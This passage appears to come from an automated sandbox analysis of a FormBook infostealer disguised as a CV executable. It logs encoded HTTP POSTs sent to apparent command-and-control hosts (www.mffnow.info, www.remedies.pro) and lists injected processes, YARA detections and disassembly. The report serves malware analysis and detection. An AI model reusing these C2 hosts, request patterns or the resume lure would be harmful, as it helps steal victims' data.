                                                                Data Raw: 4a 4e 4c 38 3d 5a 6a 73 53 6d 6d 35 5a 46 51 33 42 50 41 54 61 42 65 74 6d 4b 4e 49 45 32 55 69 62 41 55 78 50 68 34 34 35 75 41 46 35 78 34 6f 53 48 72 4a 46 4c 4e 50 2b 2f 63 67 2b 74 58 38 59 7a 42 65 74 4b 2f 76 45 70 4b 62 42 30 56 35 4f 37 67 44 51 41 74 2f 47 69 68 62 42 61 61 39 46 78 33 74 42 4c 59 4a 52 39 39 73 4b 44 57 45 49 71 6c 4c 73 52 39 33 54 78 6b 74 6c 4b 2b 38 42 4f 57 35 71 78 74 50 4a 36 72 69 61 65 37 47 52 69 79 35 71 37 4d 39 32 51 64 67 6b 4b 37 47 56 6e 59 6f 54 62 56 65 61 44 55 68 56 64 37 45 46 62 76 78 39 74 55 49 4b 47 76 35 57 71 4f 50 48 71 54 47 53 75 2f 38 42 45 63 4c 37 43 71 6d 66 4f 72 4c 49 62 67 3d 3d
                                                                Data Ascii: JNL8=ZjsSmm5ZFQ3BPATaBetmKNIE2UibAUxPh445uAF5x4oSHrJFLNP+/cg+tX8YzBetK/vEpKbB0V5O7gDQAt/GihbBaa9Fx3tBLYJR99sKDWEIqlLsR93TxktlK+8BOW5qxtPJ6riae7GRiy5q7M92QdgkK7GVnYoTbVeaDUhVd7EFbvx9tUIKGv5WqOPHqTGSu/8BEcL7CqmfOrLIbg==


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                31192.168.2.957484188.114.96.3803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:28:06.774350882 CET1741OUTPOST /1a34/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 1229
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.mffnow.info
                                                                Origin: http://www.mffnow.info
                                                                Referer: http://www.mffnow.info/1a34/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 5a 6a 73 53 6d 6d 35 5a 46 51 33 42 50 41 54 61 42 65 74 6d 4b 4e 49 45 32 55 69 62 41 55 78 50 68 34 34 35 75 41 46 35 78 34 77 53 45 5a 42 46 4c 74 7a 2b 2b 63 67 2b 6a 33 38 56 7a 42 65 67 4b 2f 6e 36 70 4b 48 33 30 58 78 4f 37 43 4c 51 52 73 2f 47 6f 68 62 42 54 36 39 49 75 48 73 46 4c 59 5a 56 39 37 4d 4b 44 57 45 49 71 6b 37 73 57 70 6a 54 69 30 74 6b 61 4f 38 7a 45 47 35 53 78 74 6e 2f 36 6f 4f 4b 65 4b 6d 52 69 53 70 71 35 2b 46 32 63 64 67 6d 4c 37 47 37 6e 59 73 4d 62 52 2b 73 44 58 38 41 64 35 45 46 62 71 45 78 36 67 42 53 62 73 4d 71 6c 4a 54 58 74 47 36 45 78 37 56 35 57 38 6a 65 61 70 62 36 45 71 65 67 47 35 72 54 56 6d 7a 38 36 4a 72 35 38 31 68 33 56 71 50 51 4b 49 6d 58 35 41 56 65 76 4d 66 54 2f 35 2f 39 73 63 67 77 47 4d 56 37 73 70 52 44 76 59 4b 76 43 35 77 4f 53 53 38 69 43 59 4f 75 6a 68 5a 72 67 73 36 2f 75 76 62 6b 32 72 75 4d 59 58 42 4e 54 75 59 37 38 6a 37 55 52 46 39 6e 75 5a 4a 57 2b 61 34 66 76 56 30 33 47 69 73 44 4b 66 50 5a 7a 58 68 72 43 5a 4b 2b 55 [TRUNCATED]
                                                                Data Ascii: JNL8=ZjsSmm5ZFQ3BPATaBetmKNIE2UibAUxPh445uAF5x4wSEZBFLtz++cg+j38VzBegK/n6pKH30XxO7CLQRs/GohbBT69IuHsFLYZV97MKDWEIqk7sWpjTi0tkaO8zEG5Sxtn/6oOKeKmRiSpq5+F2cdgmL7G7nYsMbR+sDX8Ad5EFbqEx6gBSbsMqlJTXtG6Ex7V5W8jeapb6EqegG5rTVmz86Jr581h3VqPQKImX5AVevMfT/5/9scgwGMV7spRDvYKvC5wOSS8iCYOujhZrgs6/uvbk2ruMYXBNTuY78j7URF9nuZJW+a4fvV03GisDKfPZzXhrCZK+UjdUjIYHN5QZ2ERe2/KmM2SpmMkK5KFDqtXch+UT4i4nNcWxeYKf+fvdoPaa/MguOpmLyCWwsti/A6FMGaXUOEO8hiuNtWfR9Z77yBOKlB5iujrFERy3GiXNxqSZQrwx74jXVHIhqfATWmKMEG2EL8gEXqVPC5GeZXJJRd4jPzDJeVDF+hMwKd60w/s+x3TG68Y+8iNYdO/hVH3QPE9os9nK6N4w19G6yZqKc6q52Ub6Yi2wJ5KvBy/MFC/+BDE2+Dc6WXlHHPyimL/HV8MTNyfjUg0pK9/8DBDyMSLFirSDFj3PYzD5gnoHDBvXR8Nz7togB5ak8vJSA49vST09eVie5ClpfkP+wNVkE/f9ZT6Gi037qcAPg3GwZjWyKFuUSLD/8aGVXTqKZ7hRfWeRiLd4yhplS86NhU2Cp1RBT7bNXACts7IijXA4DdpSpBMROOY8f5iS6Y27reMso0WNRLI1YN7Wb7oHZeOKbSB0pjUQzfq7BnHAVDBEspBwIiOWMqCYZgIVD6gicxgUBSD0TaycKcA0l+xPlB+X0LIpoqZ76ua8vRFZ1+rUNmlZhdYVrVVkhoJzIxS7DyyrhoVAuT00ZPX6Oc8DXp2DEqR8TDZ1lQij3BYVAh1KNQ8cZKXOiPBKTYFzYCDQ3lIV0qjZZ12SDssZ3ijkcpD [TRUNCATED]
                                                                Nov 20, 2024 10:28:08.166724920 CET728INHTTP/1.1 404 Not Found
                                                                Date: Wed, 20 Nov 2024 09:28:08 GMT
                                                                Transfer-Encoding: chunked
                                                                Connection: close
                                                                CF-Cache-Status: DYNAMIC
                                                                Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f3OPIaw0r6OQPc5ff%2BH1HfMGwiklniyvXCkhUedEKRo0UNyLy3VLIY%2BXOCba0pFMVlxaQJbrjDxEGCpxnDoxOJwWWb7BvU3xp%2Fe0bIw%2Bo8ow6x2rQmzky5xGz6mjXO0A%2Bq0%3D"}],"group":"cf-nel","max_age":604800}
                                                                NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                Server: cloudflare
                                                                CF-RAY: 8e576874d9119e02-EWR
                                                                alt-svc: h3=":443"; ma=86400
                                                                server-timing: cfL4;desc="?proto=TCP&rtt=1779&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1741&delivery_rate=0&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                Data Raw: 30 0d 0a 0d 0a
                                                                Data Ascii: 0


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                32192.168.2.957485188.114.96.3803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:28:09.478130102 CET448OUTGET /1a34/?JNL8=UhEylRAMCxjlfkeAI9EIBPkQ3EqBOUgirJRYrSpl2vEmDrtdD83fz84LtzcmrW6WKOP6wZH/8TlB0y+yX7Xcphv8UaxKym5DcZZ39NQ+H3EikXqfKA==&X88x4=H6Ch8lj0uBw HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Language: en-US,en;q=0.5
                                                                Connection: close
                                                                Host: www.mffnow.info
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Nov 20, 2024 10:28:11.075930119 CET727INHTTP/1.1 567 unknown
                                                                Date: Wed, 20 Nov 2024 09:28:11 GMT
                                                                Content-Length: 17
                                                                Connection: close
                                                                CF-Cache-Status: DYNAMIC
                                                                Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mLzVDBzs4GbtqcjcIaGFxH87M%2FMl3K7xHZURhKl39R1XsM7yMx6wbLISmHNNb0T8jOv9xk9EjS3RpECF9Sc1k6kqTEiITH%2BIystOJRR7OgiX%2FZup%2Fcplbv6WDy0QDN1XVa8%3D"}],"group":"cf-nel","max_age":604800}
                                                                NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                Server: cloudflare
                                                                CF-RAY: 8e576885aa0f8c3c-EWR
                                                                alt-svc: h3=":443"; ma=86400
                                                                server-timing: cfL4;desc="?proto=TCP&rtt=1963&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=448&delivery_rate=0&cwnd=208&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                Data Raw: 52 65 71 75 65 73 74 20 74 6f 6f 20 6c 61 72 67 65
                                                                Data Ascii: Request too large


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                33192.168.2.95748613.248.169.48803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:28:16.133296967 CET707OUTPOST /hrap/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 193
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.remedies.pro
                                                                Origin: http://www.remedies.pro
                                                                Referer: http://www.remedies.pro/hrap/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 7a 79 33 50 58 4b 44 37 61 6d 31 70 45 65 4e 4e 6a 42 47 6f 32 70 61 68 69 65 67 75 48 56 34 66 38 78 35 63 53 72 53 56 68 39 34 43 48 4d 2f 71 6c 48 67 42 46 69 73 6f 57 61 4c 57 53 45 4c 56 6e 53 70 56 77 77 78 47 4d 36 73 79 4b 79 78 6c 69 56 2f 2b 6a 74 4c 35 78 43 54 4b 4d 76 64 4e 38 52 45 2b 52 46 5a 2f 69 51 43 33 42 33 56 54 36 53 70 44 57 61 53 32 39 54 7a 48 78 6d 6b 57 30 52 54 4b 46 71 39 4c 65 65 49 53 6e 6c 77 43 75 70 69 72 6e 4c 50 67 48 34 72 61 73 72 53 51 67 6c 2b 71 64 59 53 51 48 73 70 4e 7a 69 70 6a 67 2b 6d 71 6b 4c 49 6d 34 72 7a 33
                                                                Data Ascii: JNL8=zy3PXKD7am1pEeNNjBGo2pahieguHV4f8x5cSrSVh94CHM/qlHgBFisoWaLWSELVnSpVwwxGM6syKyxliV/+jtL5xCTKMvdN8RE+RFZ/iQC3B3VT6SpDWaS29TzHxmkW0RTKFq9LeeISnlwCupirnLPgH4rasrSQgl+qdYSQHspNzipjg+mqkLIm4rz3


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                34192.168.2.95748713.248.169.48803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:28:18.675045013 CET731OUTPOST /hrap/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 217
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.remedies.pro
                                                                Origin: http://www.remedies.pro
                                                                Referer: http://www.remedies.pro/hrap/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 7a 79 33 50 58 4b 44 37 61 6d 31 70 4c 65 39 4e 76 43 75 6f 77 4a 61 67 38 4f 67 75 4e 31 34 54 38 78 31 63 53 76 43 46 67 50 73 43 47 74 50 71 6a 79 55 42 57 53 73 6f 65 36 4c 54 57 45 4b 58 6e 53 6c 33 77 77 39 47 4d 2b 45 79 4b 7a 42 6c 69 6b 2b 4d 78 4e 4c 2f 33 43 54 49 44 50 64 4e 38 52 45 2b 52 46 4e 46 69 51 71 33 43 47 46 54 37 7a 70 41 63 36 53 78 2b 54 7a 48 31 6d 6b 53 30 52 54 6b 46 76 6c 74 65 64 77 53 6e 67 4d 43 74 38 57 6f 75 4c 50 6d 4b 59 72 45 72 4a 54 4a 6e 53 33 78 66 4c 2b 55 63 4d 52 37 77 44 56 39 78 4d 76 78 78 63 49 42 2f 4d 36 66 77 48 32 66 50 37 53 58 33 57 48 32 72 6d 68 71 49 49 36 6b 2b 51 3d 3d
                                                                Data Ascii: JNL8=zy3PXKD7am1pLe9NvCuowJag8OguN14T8x1cSvCFgPsCGtPqjyUBWSsoe6LTWEKXnSl3ww9GM+EyKzBlik+MxNL/3CTIDPdN8RE+RFNFiQq3CGFT7zpAc6Sx+TzH1mkS0RTkFvltedwSngMCt8WouLPmKYrErJTJnS3xfL+UcMR7wDV9xMvxxcIB/M6fwH2fP7SX3WH2rmhqII6k+Q==


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                35192.168.2.95748813.248.169.48803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:28:21.506107092 CET1744OUTPOST /hrap/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 1229
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.remedies.pro
                                                                Origin: http://www.remedies.pro
                                                                Referer: http://www.remedies.pro/hrap/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 7a 79 33 50 58 4b 44 37 61 6d 31 70 4c 65 39 4e 76 43 75 6f 77 4a 61 67 38 4f 67 75 4e 31 34 54 38 78 31 63 53 76 43 46 67 50 55 43 48 66 48 71 67 52 4d 42 48 69 73 6f 55 61 4c 53 57 45 4c 50 6e 52 56 7a 77 77 67 7a 4d 38 4d 79 49 52 4a 6c 6b 57 57 4d 37 4e 4c 2f 31 43 54 4e 4d 76 64 59 38 52 55 36 52 46 64 46 69 51 71 33 43 45 74 54 34 69 70 41 61 36 53 32 39 54 7a 44 78 6d 6b 36 30 53 6a 53 46 75 51 57 66 73 51 53 6e 41 38 43 72 4f 2b 6f 68 4c 50 6b 4a 59 71 58 72 4a 66 73 6e 54 65 4f 66 4b 62 78 63 4e 6c 37 68 58 63 43 6b 59 33 59 77 66 64 79 77 65 32 48 70 53 43 6b 58 4a 76 30 76 6a 62 51 39 58 64 30 65 38 37 78 6d 42 49 56 34 77 6d 2f 71 6a 68 71 33 5a 73 5a 63 4d 67 32 32 76 6c 38 33 73 62 44 39 59 74 39 50 45 58 55 71 6a 62 65 39 4f 68 7a 72 76 2b 6a 69 48 52 75 73 69 67 70 53 33 67 31 46 2b 70 78 39 51 6f 31 43 69 6f 33 69 44 68 32 6a 73 6c 34 74 2f 73 56 54 65 45 4a 4a 52 66 56 47 64 70 55 31 6f 30 4d 4b 6e 6a 69 59 72 61 67 56 37 51 4d 6a 4f 32 56 4c 30 79 78 33 72 44 57 7a [TRUNCATED]
                                                                Data Ascii: JNL8=zy3PXKD7am1pLe9NvCuowJag8OguN14T8x1cSvCFgPUCHfHqgRMBHisoUaLSWELPnRVzwwgzM8MyIRJlkWWM7NL/1CTNMvdY8RU6RFdFiQq3CEtT4ipAa6S29TzDxmk60SjSFuQWfsQSnA8CrO+ohLPkJYqXrJfsnTeOfKbxcNl7hXcCkY3Ywfdywe2HpSCkXJv0vjbQ9Xd0e87xmBIV4wm/qjhq3ZsZcMg22vl83sbD9Yt9PEXUqjbe9Ohzrv+jiHRusigpS3g1F+px9Qo1Cio3iDh2jsl4t/sVTeEJJRfVGdpU1o0MKnjiYragV7QMjO2VL0yx3rDWzuYuNK7gu1muLRYYJhLsrDJ6fn1BFG51NUAdbCluoWrUpF6btR7+/M+OzQEn01sZ30sbo5ZRo+WGq1Ju6DC2BmPOsBuk5MaAiVQaDs/5GVoOABoUGyGB7os5K6eT2k6RLdlQthSDtrPkO3SIBjnYWAH8zx8H4pEYfflGJCph5l6XjEqnFmAkiLjshAfbq0N2wlE0WDQfBKELMCIJz7WugzgMbzRmVZMOeZIx3UMhOqnAXPAdgpJFyBThHZxL6AlpynDTjD3GAo8MGjukkKE385r8lthqGeI2OutZGH2gDWx5ddpmnvGMGCLg0hU7qBuTmJMxbm/9dqwXZEU/uuveqDbYXhBcElf8UqBFcHjvrW+mKHKXVYLzrpuFVLBfEATMX4oteadC5Iqygck2WFWj99G0Uv0OoQNvY/fKrpSaucNuKRmS9aZRT+XBdiR2GbDRW6+xVGFutxXR8ZaaJUf3dIO42P6ZpgWN8EJ3739aj5uq5UokNxcZ791WhyvdbJrk1MhDu+IsfHH6G6kMa3MIQQDoGsrcbwCMKFw05tuCAIWEW7rq3dYOn80lm9SRgZd36RYAhTvzfr+vK9ABFtpmqt1/fOm5LqFCRRuSqABfU9TKraCLpMeyn8IFOOXBhrZR/aesd6uz7+GhIoo2WrjynvMaiz/m6yi9crK [TRUNCATED]


                                                                Statistics

                                                                CPU Usage

                                                                Click to jump to process

                                                                Memory Usage

                                                                Click to jump to process

                                                                High Level Behavior Distribution

                                                                Click to dive into process behavior distribution

                                                                Behavior

                                                                Click to jump to process

                                                                System Behavior

                                                                General

                                                                Target ID:0
                                                                Start time:04:25:14
                                                                Start date:20/11/2024
                                                                Path:C:\Users\user\Desktop\CV_ Filipa Barbosa.exe
                                                                Wow64 process (32bit):true
                                                                Commandline:"C:\Users\user\Desktop\CV_ Filipa Barbosa.exe"
                                                                Imagebase:0xb20000
                                                                File size:1'219'584 bytes
                                                                MD5 hash:DA81AEC77A2722B43E145D3BA84A6DFF
                                                                Has elevated privileges:true
                                                                Has administrator privileges:true
                                                                Programmed in:C, C++ or other language
                                                                Reputation:low
                                                                Has exited:true

                                                                General

                                                                Target ID:2
                                                                Start time:04:25:16
                                                                Start date:20/11/2024
                                                                Path:C:\Windows\SysWOW64\svchost.exe
                                                                Wow64 process (32bit):true
                                                                Commandline:"C:\Users\user\Desktop\CV_ Filipa Barbosa.exe"
                                                                Imagebase:0x6c0000
                                                                File size:46'504 bytes
                                                                MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                                                Has elevated privileges:true
                                                                Has administrator privileges:true
                                                                Programmed in:C, C++ or other language
                                                                Yara matches:
                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1748343762.0000000004BE0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1746420362.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1752780836.00000000076A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                Reputation:high
                                                                Has exited:true

                                                                General

                                                                Target ID:4
                                                                Start time:04:25:45
                                                                Start date:20/11/2024
                                                                Path:C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                Wow64 process (32bit):true
                                                                Commandline:"C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe"
                                                                Imagebase:0xcf0000
                                                                File size:140'800 bytes
                                                                MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                Has elevated privileges:false
                                                                Has administrator privileges:false
                                                                Programmed in:C, C++ or other language
                                                                Yara matches:
                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3229700970.0000000003E60000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                Reputation:high
                                                                Has exited:false

                                                                General

                                                                Target ID:5
                                                                Start time:04:25:47
                                                                Start date:20/11/2024
                                                                Path:C:\Windows\SysWOW64\wlanext.exe
                                                                Wow64 process (32bit):true
                                                                Commandline:"C:\Windows\SysWOW64\wlanext.exe"
                                                                Imagebase:0xad0000
                                                                File size:78'336 bytes
                                                                MD5 hash:0D5F0A7CA2A8A47E3A26FB1CB67E118C
                                                                Has elevated privileges:false
                                                                Has administrator privileges:false
                                                                Programmed in:C, C++ or other language
                                                                Yara matches:
                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3229814145.0000000003740000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3229751089.00000000036F0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3228314950.0000000003240000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                Reputation:moderate
                                                                Has exited:false

                                                                General

                                                                Target ID:6
                                                                Start time:04:26:00
                                                                Start date:20/11/2024
                                                                Path:C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                Wow64 process (32bit):true
                                                                Commandline:"C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe"
                                                                Imagebase:0xcf0000
                                                                File size:140'800 bytes
                                                                MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                Has elevated privileges:false
                                                                Has administrator privileges:false
                                                                Programmed in:C, C++ or other language
                                                                Yara matches:
                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3231857201.00000000055A0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                Reputation:high
                                                                Has exited:false

                                                                General

                                                                Target ID:10
                                                                Start time:04:26:13
                                                                Start date:20/11/2024
                                                                Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                Wow64 process (32bit):false
                                                                Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                                Imagebase:0x7ff73feb0000
                                                                File size:676'768 bytes
                                                                MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                Has elevated privileges:false
                                                                Has administrator privileges:false
                                                                Programmed in:C, C++ or other language
                                                                Reputation:high
                                                                Has exited:true

                                                                Disassembly

                                                                Reset < >

                                                                  Execution Graph

                                                                  Execution Coverage:4%
                                                                  Dynamic/Decrypted Code Coverage:0.4%
                                                                  Signature Coverage:10%
                                                                  Total number of Nodes:2000
                                                                  Total number of Limit Nodes:158
                                                                  execution_graph 94126 b98eb8 94130 b6a635 94126->94130 94128 b98ec3 94129 b6a635 84 API calls 94128->94129 94129->94128 94131 b6a66f 94130->94131 94136 b6a642 94130->94136 94131->94128 94132 b6a671 94171 b3ec4e 81 API calls 94132->94171 94134 b6a676 94141 b2936c 94134->94141 94136->94131 94136->94132 94136->94134 94139 b6a669 94136->94139 94137 b6a67d 94161 b2510d 94137->94161 94170 b34525 61 API calls _memcpy_s 94139->94170 94142 b29384 94141->94142 94159 b29380 94141->94159 94143 b94cbd __i64tow 94142->94143 94144 b94bbf 94142->94144 94145 b29398 94142->94145 94153 b293b0 __itow Mailbox _wcscpy 94142->94153 94146 b94bc8 94144->94146 94147 b94ca5 94144->94147 94172 b4172b 80 API calls 4 library calls 94145->94172 94152 b94be7 94146->94152 94146->94153 94188 b4172b 80 API calls 4 library calls 94147->94188 94151 b293ba 94151->94159 94182 b2ce19 94151->94182 94155 b3f4ea 48 API calls 94152->94155 94173 b3f4ea 94153->94173 94156 b94c04 94155->94156 94157 b3f4ea 48 API calls 94156->94157 94158 b94c2a 94157->94158 94158->94159 94160 b2ce19 48 API calls 94158->94160 94159->94137 94160->94159 94162 b2511f 94161->94162 94163 b91be7 94161->94163 94222 b2b384 94162->94222 94231 b5a58f 48 API calls _memcpy_s 94163->94231 94166 b91bf1 94232 b26eed 94166->94232 94167 b2512b 94167->94131 94169 b91bf9 Mailbox 94170->94131 94171->94134 94172->94153 94175 b3f4f2 __calloc_impl 94173->94175 94176 b3f50c 94175->94176 94177 b3f50e std::exception::exception 94175->94177 94189 b4395c 94175->94189 94176->94151 94203 b46805 RaiseException 94177->94203 94179 b3f538 94204 b4673b 47 API calls _free 94179->94204 94181 b3f54a 94181->94151 94183 b2ce28 __wsetenvp 94182->94183 94211 b3ee75 94183->94211 94185 b2ce50 _memcpy_s 94186 b3f4ea 48 API calls 94185->94186 94187 b2ce66 94186->94187 94187->94159 94188->94153 94190 b439d7 __calloc_impl 94189->94190 94200 b43968 __calloc_impl 94189->94200 94210 b47c0e 47 API calls __getptd_noexit 94190->94210 94191 b43973 94191->94200 94205 b481c2 47 API calls __NMSG_WRITE 94191->94205 94206 b4821f 47 API calls 7 library calls 94191->94206 94207 b41145 GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 94191->94207 94194 b4399b RtlAllocateHeap 94194->94200 94202 b439cf 94194->94202 94196 b439c3 94208 b47c0e 47 API calls __getptd_noexit 94196->94208 94199 b439c1 94209 b47c0e 47 API calls __getptd_noexit 94199->94209 94200->94191 94200->94194 94200->94196 94200->94199 94202->94175 94203->94179 94204->94181 94205->94191 94206->94191 94208->94199 94209->94202 94210->94202 94214 b3f4ea __calloc_impl 94211->94214 94212 b4395c _W_store_winword 47 API calls 94212->94214 94213 b3f50c 94213->94185 94214->94212 94214->94213 94215 b3f50e std::exception::exception 94214->94215 94220 b46805 RaiseException 94215->94220 94217 b3f538 94221 b4673b 47 API calls _free 94217->94221 94219 b3f54a 94219->94185 94220->94217 94221->94219 94223 b2b392 94222->94223 94224 b2b3c5 _memcpy_s 94222->94224 94223->94224 94225 b2b3b8 94223->94225 94226 b2b3fd 94223->94226 94224->94167 94224->94224 94236 b2bb85 94225->94236 94227 b3f4ea 48 API calls 94226->94227 94229 b2b407 94227->94229 94230 b3f4ea 48 API calls 94229->94230 94230->94224 94231->94166 94233 b26f00 94232->94233 94234 b26ef8 94232->94234 94233->94169 94241 b2dd47 48 API calls _memcpy_s 94234->94241 94237 b2bb9b 94236->94237 94240 b2bb96 _memcpy_s 94236->94240 94238 b3ee75 48 API calls 94237->94238 94239 b91b77 94237->94239 94238->94240 94240->94224 94241->94233 94242 b2f030 94245 b33b70 94242->94245 94244 b2f03c 94246 b33bc8 94245->94246 94297 b342a5 94245->94297 94247 b33bef 94246->94247 94249 b96fd1 94246->94249 94251 b96f7e 94246->94251 94258 b96f9b 94246->94258 94248 b3f4ea 48 API calls 94247->94248 94250 b33c18 94248->94250 94340 b7ceca 335 API calls Mailbox 94249->94340 94254 b3f4ea 48 API calls 94250->94254 94251->94247 94255 b96f87 94251->94255 94253 b96fbe 94339 b6cc5c 86 API calls 4 library calls 94253->94339 94306 b33c2c _memcpy_s __wsetenvp 94254->94306 94337 b7d552 335 API calls Mailbox 94255->94337 94258->94253 94338 b7da0e 335 API calls 2 library calls 94258->94338 94260 b342f2 94370 b6cc5c 86 API calls 4 library calls 94260->94370 94262 b973b0 94262->94244 94263 b9737a 94369 b6cc5c 86 API calls 4 library calls 94263->94369 94264 b97297 94359 b6cc5c 86 API calls 4 library calls 94264->94359 94267 b3dce0 53 API calls 94267->94306 94269 b340df 94360 b6cc5c 86 API calls 4 library calls 94269->94360 94271 b9707e 94341 b6cc5c 86 API calls 4 library calls 94271->94341 94276 b2d645 53 API calls 94276->94306 94279 b972d2 94361 b6cc5c 86 API calls 4 library calls 94279->94361 94282 b97350 94367 b6cc5c 86 API calls 4 library calls 94282->94367 94283 b972e9 94362 b6cc5c 86 API calls 4 library calls 94283->94362 94284 b97363 94368 b6cc5c 86 API calls 4 library calls 94284->94368 94290 b3f4ea 48 API calls 94290->94306 94292 b2fe30 335 API calls 94292->94306 94293 b9714c 94356 b7ccdc 48 API calls 94293->94356 94295 b33f2b 94295->94244 94296 b9733f 94366 b6cc5c 86 API calls 4 library calls 94296->94366 